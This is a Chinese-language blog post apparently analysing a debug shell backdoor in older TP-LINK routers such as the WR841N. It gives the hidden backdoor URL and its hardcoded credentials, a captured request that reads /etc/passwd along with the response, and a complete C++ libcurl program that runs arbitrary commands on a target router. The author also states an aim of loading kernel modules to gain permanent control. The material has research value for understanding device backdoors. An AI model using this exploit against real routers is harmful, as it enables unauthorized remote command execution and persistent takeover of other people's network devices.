本篇文章介绍一个TP-LINK低版本的一个调试后门

0x00 前言

TPLINK 存在一个 Shell 调试后门,TPLINK WR941N V2_090803 路由器 后门,TP-link路由器后门漏洞。

影响版本:

WR740N, WR740ND, WR743ND, WR842ND, WA-901ND, WR941N, WR941ND, WR1043ND, WR2543ND, MR3220, MR3020, WR841N

0x01 分析

该后门的地址在:/userRpmNatDebugRpm26525557/linux_cmdline.html

在公司刚好有一台,它的版本是:TL-WR841N

0x00

参考网上文章获得了用户名和密码:osteam/5up

0x01

那么它是怎么执行命令的呢?会不会存在越权情况?PS:后来发现它必须要登录路由器才可以访问到这个Shell接口

通过抓包发现,它会将命令发送到另外一个页面:

0x02

并且命令结果都在JS代码块中。

GET /userRpm/DebugResultRpm.htm?cmd=cat%20/etc/passwd&usr=osteam&passwd=5up HTTP/1.1
Host: 192.168.3.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.3.1/userRpmNatDebugRpm26525557/linux_cmdline.html
Authorization: Basic YWRtaW46YWRtaW4=
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Upgrade-Insecure-Requests: 1

----------------------------------


HTTP/1.1 200 OK
Server: TP-LINK Router
Connection: close
Content-Type: text/html
WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N"

<SCRIPT language="javascript" type="text/javascript">
var cmdResult = new Array(
"cat /etc/passwd&\r\n811\r\n# root:x:0:0:root:/root:/bin/sh\r\nAdmin:x:0:0:root:/root:/bin/sh\r\nbin:x:1:1:bin:/bin:/bin/sh\r\ndaemon:x:2:2:daemon:/usr/sbin:/bin/sh\r\nadm:x:3:4:adm:/adm:/bin/sh\r\nlp:x:4:7:lp:/var/spool/lpd:/bin/sh\r\nsync:x:5:0:sync:/bin:/bin/sync\r\nshutdown:x:6:11:shutdown:/sbin:/sbin/shutdown\r\nhalt:x:7:0:halt:/sbin:/sbin/halt\r\nuucp:x:10:14:uucp:/var/spool/uucp:/bin/sh\r\noperator:x:11:0:Operator:/var:/bin/sh\r\nnobody:x:65534:65534:nobody:/home:/bin/sh\r\nap71:x:500:0:Linux User,,,:/root:/bin/sh\r\n\r\n",
0,0 );
</SCRIPT>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<HTML>
<HEAD><TITLE>TL-WR841N</TITLE>
<META http-equiv=Pragma content=no-cache>
<META http-equiv=Expires content="wed, 26 Feb 1997 08:21:57 GMT">
<LINK href="/dynaform/css_main.css" rel=stylesheet type="text/css">
<SCRIPT language="javascript" src="/dynaform/common.js" type="text/javascript"></SCRIPT>
<SCRIPT language="javascript" type="text/javascript"><!--
//--></SCRIPT>
<script language="Javascript">
function doGetResult()
{
	location.href="/userRpm/DebugResultRpm.htm";
}
</script>
</head>
<body>
</body>
</html>
<script language="JavaScript">
	var	timeInterVal = 2000;
	obj = parent.document.getElementById("result");
	var temp = obj.scrollTop;
	obj.value += cmdResult[0];
	obj.scrollTop = temp;
	if(parent.bIsonFocus == 0)
		obj.scrollTop = obj.scrollHeight;
	setTimeout("doGetResult()",timeInterVal);
</script>

其中:Authorization: Basic YWRtaW46YWRtaW4=就是路由器的权限认证方式了,并且调试接口的用户名密码是以GET方式传输的

0x02 动起手来

我使用C++写了一个测试的程序,主要是还原它发送的数据。

#include <iostream>
#include <curl/curl.h>
#include <regex>
#include <string>
#define TIMEOUT 5

std::string m_replace(std::string strSrc,const std::string &oldStr, const std::string &newStr,int count=-1)
{
    std::string strRet=strSrc;
    size_t pos = 0;
    int l_count=0;
    if(-1 == count)
        count = strRet.size();
    while ((pos = strRet.find(oldStr, pos)) != std::string::npos)
    {
        strRet.replace(pos, oldStr.size(), newStr);
        if(++l_count >= count) break;
        pos += newStr.size();
    }
    return strRet;
}

size_t WriteData(void *pData, size_t size, size_t nmemb, void *stream)
{
    std::string *pStr = (std::string *)stream;

    size_t len  = size * nmemb;
    pStr->append((const char *)pData, len);

    return len;

}

int main(int argc,char * argv[]) {
    if(argc < 5){
        std::cout << "Usage: " << argv[0] << " <HOST> <Username> <Password> <Command>"<<std::endl;
        std::cout << "Version: WR740N, WR740ND, WR743ND, WR842ND, WA-901ND, WR941N, WR941ND, WR1043ND, WR2543ND, MR3220, MR3020, WR841N"<<std::endl;
        exit(EXIT_SUCCESS);
    }

    std::string host = argv[1];
    std::string username = argv[2];
    std::string password = argv[3];
    std::string command = argv[4];
    std::string body;
    std::string commands = curl_escape(command.data(),command.size());
    host="http://"+host+"/userRpm/DebugResultRpm.htm?cmd="+commands+"&usr=osteam&passwd=5up";

    CURL * curl = curl_easy_init();
    curl_easy_setopt(curl,CURLOPT_URL,host.c_str());
    curl_easy_setopt(curl,CURLOPT_TIMEOUT,TIMEOUT);
    curl_easy_setopt(curl,CURLOPT_USERNAME,username.c_str());
    curl_easy_setopt(curl,CURLOPT_PASSWORD,password.c_str());
    curl_easy_setopt(curl,CURLOPT_WRITEFUNCTION,WriteData);
    curl_easy_setopt(curl,CURLOPT_WRITEDATA,body);
    CURLcode res = curl_easy_perform(curl);
    if(res !=0){
        std::cout << "ERROR" << std::endl;
        curl_easy_cleanup(curl);
        exit(EXIT_SUCCESS);
    }
    int status = 0;
    curl_easy_getinfo(curl,CURLINFO_RESPONSE_CODE,&status);
    if(status != 200 || status == 401){
        std::cout << "ERROR Incorrect username or password." << std::endl;
        exit(EXIT_SUCCESS);
    }
    //std::cout << body << std::endl;
    std::regex match_command_result("\\(\\n.*\\n0,0 \\)");
    std::smatch mth;
    std::regex_search(body,mth,match_command_result);
    std::cout << m_replace(mth.str(),"\\r\\n","\n") << std::endl;
    curl_easy_cleanup(curl);
    return 0;
}

编译:g++ main.cpp -lcurl -o tplinkShell

使用过程:

0x03

:-) 正则写的不好,莫见怪

0x03 测试写入文件 - 编写内核模块

0x04

发现Web目录是不可写、不可读的。

参考:https://www.cnblogs.com/amaoxiaozhu/archive/2013/03/08/2950002.html

可以进行编写mod,使内核加载

0x05

传送门:https://www.cnblogs.com/skyred99/p/5683710.html

这块先放着,后面如过理解了再尝试导入内核模块,永久控制路由器

payloads@koone:~$ ./tplinkShell 192.168.3.1 admin admin "/sbin/insmod"
(
"/sbin/insmod
BusyBox v1.01 (2009.01.06-01:38+0000) multi-call binary

Usage: insmod [OPTION]... MODULE [symbol=value]...

Loads the specified kernel modules into the kernel.

Options:
	-f	Force module to load into the wrong kernel version.
	-k	Make module autoclean-able.
	-v	verbose output
	-q	quiet output
	-L	Lock to prevent simultaneous loads of a module
	-o NAME	Set internal module name to NAME
	-x	do not export externs

insmod用于加载模块